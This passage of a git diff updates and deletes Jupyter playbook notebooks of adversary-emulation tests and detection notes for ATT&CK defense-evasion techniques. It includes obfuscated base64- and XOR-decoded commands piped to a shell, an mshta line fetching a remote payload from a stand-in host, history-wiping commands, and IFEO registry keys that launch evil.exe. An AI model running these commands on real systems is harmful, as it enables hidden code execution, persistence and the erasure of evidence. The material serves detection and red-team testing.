IyEvYmluL2Jhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= | base64 -d | bash\necho IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= | base64 -d | bash\necho IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= | base64 -d | bash\necho IyEvYmluL3NoCmVjaG8gImh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BhdG9taWNzb25hZnJpZGF5IEZUVyIK | base64 -d | bash\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d417443d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1140 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "b77c852c", + "metadata": {}, + "source": "### Atomic Test #10 - XOR decoding and command execution using Python\nAn adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine.\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Python3 must be installed\n##### Check Prereq Commands:\n```bash\nwhich python3\n```\n##### Get Prereq Commands:\n```bash\necho \"Install Python3\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "18620e1e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1140 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "caab9387", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\npython3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: \"\".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = \"AAkqKQEM\"; key = \"waEHleblxiQjoxFJQaIMLdHKz\"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dc9f5aef", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1140 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "836b5864", + "id": "6ddabcee", "metadata": {}, "source": "## Detection\nDetecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior." }, { "cell_type": "markdown", - "id": "f0584e5f", + "id": "b51f761e", "metadata": {}, "source": "\n## Shield Active Defense\n### API Monitoring \n Monitor local APIs that might be used by adversary tools and activity. \n\n API Monitoring involves capturing an internal Operating System (OS) function for its usage, accompanying arguments, and result. When a defender captures this information, the intelligence gathered can be analyzed to gain insight into the activity of an adversary at a level deeper than normal system activity monitoring.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can monitor and analyze operating system functions calls for detection and alerting.\n#### Procedures\nTrace activity through WinSock TCP API functions to view potentially malicious network events. Log it such that it can be pushed to a centralized location and analyzed further.\nHook the Win32 DeleteFile() function to log all attempts at deleting a given file. This information can be used to trigger restoration attempts on critical data, reducing potential disruption if those files are unavailable for prolonged periods of time.\n" } @@ -210,13 +324,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1143.ipynb b/playbook/tactics/defense-evasion/T1143.ipynb deleted file mode 100644 index 0da25b46..00000000 --- a/playbook/tactics/defense-evasion/T1143.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "69a8e131", - "metadata": {}, - "source": "# T1143 - Hidden Window\nAdversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be\u00a0apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n" - }, - { - "cell_type": "markdown", - "id": "8c24948d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "aac3dcce", - "metadata": {}, - "source": "## Detection\nMonitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1144.ipynb b/playbook/tactics/defense-evasion/T1144.ipynb deleted file mode 100644 index 87e51308..00000000 --- a/playbook/tactics/defense-evasion/T1144.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3bfeae0d", - "metadata": {}, - "source": "# T1144 - Gatekeeper Bypass\nIn macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)" - }, - { - "cell_type": "markdown", - "id": "2b57a3db", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0cd66fe0", - "metadata": {}, - "source": "## Detection\nMonitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1146.ipynb b/playbook/tactics/defense-evasion/T1146.ipynb deleted file mode 100644 index 08e8d7b0..00000000 --- a/playbook/tactics/defense-evasion/T1146.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "25355d07", - "metadata": {}, - "source": "# T1146 - Clear Command History\nIn addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history." - }, - { - "cell_type": "markdown", - "id": "eaa23aa6", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c3fbc354", - "metadata": {}, - "source": "## Detection\nUser authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1147.ipynb b/playbook/tactics/defense-evasion/T1147.ipynb deleted file mode 100644 index e7bbeecd..00000000 --- a/playbook/tactics/defense-evasion/T1147.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4a24830b", - "metadata": {}, - "source": "# T1147 - Hidden Users\nEvery user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit)." - }, - { - "cell_type": "markdown", - "id": "5f197034", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "33d65544", - "metadata": {}, - "source": "## Detection\nThis technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1148.ipynb b/playbook/tactics/defense-evasion/T1148.ipynb deleted file mode 100644 index 4d2a91c0..00000000 --- a/playbook/tactics/defense-evasion/T1148.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "780d2c75", - "metadata": {}, - "source": "# T1148 - HISTCONTROL\nThe HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands." - }, - { - "cell_type": "markdown", - "id": "38092aa2", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "cae32809", - "metadata": {}, - "source": "## Detection\nCorrelating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1149.ipynb b/playbook/tactics/defense-evasion/T1149.ipynb deleted file mode 100644 index 3ef33a2b..00000000 --- a/playbook/tactics/defense-evasion/T1149.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "d6a2a728", - "metadata": {}, - "source": "# T1149 - LC_MAIN Hijacking\n**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same." - }, - { - "cell_type": "markdown", - "id": "c82080c0", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "581d9be5", - "metadata": {}, - "source": "## Detection\nDetermining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1150.ipynb b/playbook/tactics/defense-evasion/T1150.ipynb deleted file mode 100644 index 3e25948a..00000000 --- a/playbook/tactics/defense-evasion/T1150.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "b9423ca3", - "metadata": {}, - "source": "# T1150 - Plist Modification\nProperty list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" - }, - { - "cell_type": "markdown", - "id": "d7ccd2fd", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f9f3662f", - "metadata": {}, - "source": "## Detection\nFile system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1151.ipynb b/playbook/tactics/defense-evasion/T1151.ipynb deleted file mode 100644 index 4c18653e..00000000 --- a/playbook/tactics/defense-evasion/T1151.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a26d2f62", - "metadata": {}, - "source": "# T1151 - Space after Filename\nAdversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious." - }, - { - "cell_type": "markdown", - "id": "acbf3df6", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "587670e8", - "metadata": {}, - "source": "## Detection\nIt's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1152.ipynb b/playbook/tactics/defense-evasion/T1152.ipynb deleted file mode 100644 index 7127c8c6..00000000 --- a/playbook/tactics/defense-evasion/T1152.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "86d74d09", - "metadata": {}, - "source": "# T1152 - Launchctl\nLaunchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process." - }, - { - "cell_type": "markdown", - "id": "a3cdcf21", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "934a31d9", - "metadata": {}, - "source": "## Detection\nKnock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1158.ipynb b/playbook/tactics/defense-evasion/T1158.ipynb deleted file mode 100644 index e779b2b0..00000000 --- a/playbook/tactics/defense-evasion/T1158.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4e69a6ed", - "metadata": {}, - "source": "# T1158 - Hidden Files and Directories\nTo prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys." - }, - { - "cell_type": "markdown", - "id": "a5214830", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "97b704b2", - "metadata": {}, - "source": "## Detection\nMonitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1170.ipynb b/playbook/tactics/defense-evasion/T1170.ipynb deleted file mode 100644 index 1cb238ff..00000000 --- a/playbook/tactics/defense-evasion/T1170.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "13c915a1", - "metadata": {}, - "source": "# T1170 - Mshta\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)" - }, - { - "cell_type": "markdown", - "id": "489d5dca", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0e3ddd87", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1181.ipynb b/playbook/tactics/defense-evasion/T1181.ipynb deleted file mode 100644 index fcd465e6..00000000 --- a/playbook/tactics/defense-evasion/T1181.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "ccbad662", - "metadata": {}, - "source": "# T1181 - Extra Window Memory Injection\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)" - }, - { - "cell_type": "markdown", - "id": "28703433", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f4110614", - "metadata": {}, - "source": "## Detection\nMonitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1183.ipynb b/playbook/tactics/defense-evasion/T1183.ipynb deleted file mode 100644 index 4a37054d..00000000 --- a/playbook/tactics/defense-evasion/T1183.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5fac3ca2", - "metadata": {}, - "source": "# T1183 - Image File Execution Options Injection\nImage File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and 